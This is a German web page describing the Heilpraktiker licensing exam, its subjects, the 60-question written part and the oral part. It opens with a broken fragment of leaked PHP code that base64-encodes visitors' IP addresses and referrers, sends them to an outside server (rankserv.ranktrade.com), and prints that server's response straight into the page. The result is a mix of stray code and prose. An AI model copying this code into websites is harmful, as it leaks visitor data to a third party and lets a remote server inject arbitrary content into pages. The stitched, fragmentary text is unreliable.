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else
$rthttp = 'http://';
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$uri = substr($_SERVER["SCRIPT_NAME"],-(strlen($_SERVER["SCRIPT_NAME"])-strrpos($_SERVER["SCRIPT_NAME"], "/")));
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$rtstr = $rtstr."/".base64_encode($_SERVER['REMOTE_ADDR']);
if (!empty($_SERVER['HTTP_REFERER']))
$rtstr = $rtstr."/".base64_encode($_SERVER['HTTP_REFERER']);
if(intval(get_cfg_var('allow_url_fopen')) && function_exists('readfile')) {
@readfile("http://rankserv.ranktrade.com/index.php/getsite".$rtstr);
}
elseif(intval(get_cfg_var('allow_url_fopen')) && function_exists('file')) {
if($content = @file("http://rankserv.ranktrade.com/index.php/getsite".$rtstr))
print @join('', $content);
}
elseif(function_exists('curl_init')) {
$ch = curl_init ("http://rankserv.ranktrade.com/index.php/getsite".$rtstr);
curl_setopt ($ch, CURLOPT_HEADER, 0);
curl_exec ($ch);
curl_close ($ch);
}
else{
print "";
}
?>
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Die Heilpraktikerprüfung
Inhalt
der Überprüfung:
-Berufs-
und Gesetzeskunde einschließlich rechtliche Grenzen der nichtärztlichen Ausübung
der Heilkunde
-Grenzen
und Gefahren diagnostischer und therapeutischer Methoden der Heilpraktiker
-Grundkenntnisse
der Anatomie, pathologischen Anatomie, Physiologie undPathophysiologie
-Grundkenntnisse
in der allgemeinen Krankheitslehre, Erkennung und Unterscheidung von
Volkskrankheiten, insbesondere der Stoffwechselkrankheiten, der Herz-Kreislauf-Krankheiten,
der degenerativen und der übertragbaren Krankheiten,der
bösartigen Neubildungen sowie schwerwiegender seelischer Krankheiten
-Erkennung
und Erstversorgung akuter Notfälle und lebensbedrohender Zustände
-Technik
der Anamneseerhebung; Methoden der unmittelbaren Krankenuntersuchung (Inspektion,
Palpation, Perkussion, Auskultation, Reflexprüfung, Puls- und Blutdruckmessung)
-Praxishygiene,
Desinfektion und Sterilisation
-Deutung
grundlegender Laborwerte
Durchführung
der Überprüfung:
Die
Überprüfung besteht aus einem schriftlichen und einem mündlichen Teil.
Vor Beginn
eines jeden Überprüfungsteils haben sich die Antragstellenden durch einen gültigen
Personalausweis oder Reisepass auszuweisen. Der
schriftliche Teil der Überprüfung wird vor dem mündlichen Teil durchgeführt. Im
schriftlichen Teil der Überprüfung werden den Antragstellenden vom Gesundheitsamt
60 Fragen im Antwort-Wahl-Verfahren zur Beantwortung gestellt. Die
Bewertung obliegt einem Arzt des Gesundheitsamtes. Die
Fragen sind klar und verständlich zu formulieren und auf den Bereich der unerlässlichen
Kenntnisse zu beschränken. Für die Beantwortung einer Frage nach dem
Antwort-Wahl-Verfahren stehen zwei Minuten zur Verfügung. Wer
mindesten 45 Fragen zutreffend beantwortet hat, ist zur Fortsetzung der Überprüfung
im mündlichen Teil zugelassen. Bei
den Übrigen wird die Überprüfung abgebrochen, weil angenommen werden muss,
dass die Ausübung der Heilkunde durch sie eine Gefahr für dieVolksgesundheit
bedeuten würde. Das Gesundheitsamt teilt dies de rKreisverwaltungsbehörde
mit. Das gleiche gilt, wenn (bei der antragstellenden Person)
während der schriftlichen Überprüfung Täuschungsversuche oder sonstige Unregelmäßigkeiten
festgestellt worden sind. Die
mündliche Überprüfung dauert pro Person mindestens 30 und höchstens 45 Minuten.Die
mündliche Überprüfung kann in Gruppen mit bis zu vier Personen durchgeführ twerden. Die
mündliche Überprüfung wird unter Vorsitz eines Arztes des Gesundheitsamtes durchgeführt.
An ihr sollen zwei Angehörige des Heilpraktikerberufes aus dem jeweiligen
Überprüfungsbezirk als Beisitzende gutachterlich mitwirken. Im
mündlichen Teil der Überprüfung sind die gestellten Fragen in freier Form
zubeantworten. Bei der Gestaltung des mündlichen Teils der Überprüfung soll berücksichtigt
werden, auf welchem Gebiet oder auf welchen Gebieten der Heilkunde die
antragstellende Person tätig sein will .Über
die mündliche Überprüfung ist eine Niederschrift zu fertigen, aus der
Gegenstand, Ablauf
und Ergebnis der Überprüfung, die Stellungnahme der gutachtlichmitwirkenden
Beisitzenden und gegebenenfalls vorkommende Unregelmäßigkeiten hervorgehen.Aufgrund
des Ergebnisses der mündlichen Überprüfung entscheidet das vorsitzende Mitglied
nach Anhörung der gutachtlich mitwirkenden Beisitzenden, ob bei der antragstellenden
Person Anhaltspunkte dafür vorliegen, dass die Ausübung derHeilkunde
durch sie eine Gefahr für die Volksgesundheit bedeuten würde. Das vorsitzende
Mitglied unterrichtet die antragstellende Person über das Ergebnis der Überprüfung
und teilt die getroffene Entscheidung mit dem Ergebnis der schriftlichen Überprüfung
samt einer gutachtlichen Stellungsnahme dem Landratsamt mit.
Konzentrieren Sie sich in Ihrer Ausbildung daher besser auf prüfungsrelevante
Themen und verschaffen sich selbst einen Eindruck:
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Tipps
zur Wahl der richtigen Heilpraktikerausbildung
- Tipps zum Prüfungstag
-
Laden Sie unseren Heilpraktikerlehrgang herunter
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